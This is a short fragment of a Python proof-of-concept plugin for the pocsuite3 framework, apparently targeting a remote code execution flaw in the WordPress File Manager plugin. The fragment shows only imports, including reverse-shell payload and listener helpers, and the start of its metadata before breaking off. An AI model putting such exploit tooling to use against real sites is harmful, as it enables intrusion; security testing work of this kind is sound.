pocsuite3版本的插件
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# @Time : 2020/11/27 9:41
# @Author : ordar
# @File : wp_filemanager_rce.py
# @Project : pythonCourse
# @Python : 3.7.5
import base64
import threading
from collections import OrderedDict
from pocsuite3.api import Output, POCBase, register_poc, requests
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.lib.core.interpreter_option import OptDict
from pocsuite3.lib.utils import random_str
from requests.exceptions import ReadTimeout
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1'
author = ['ordar']
vulDate = ' 2020-09-16'
createDate = '2020-11-27'
updateDate = '2020-11-27'
refer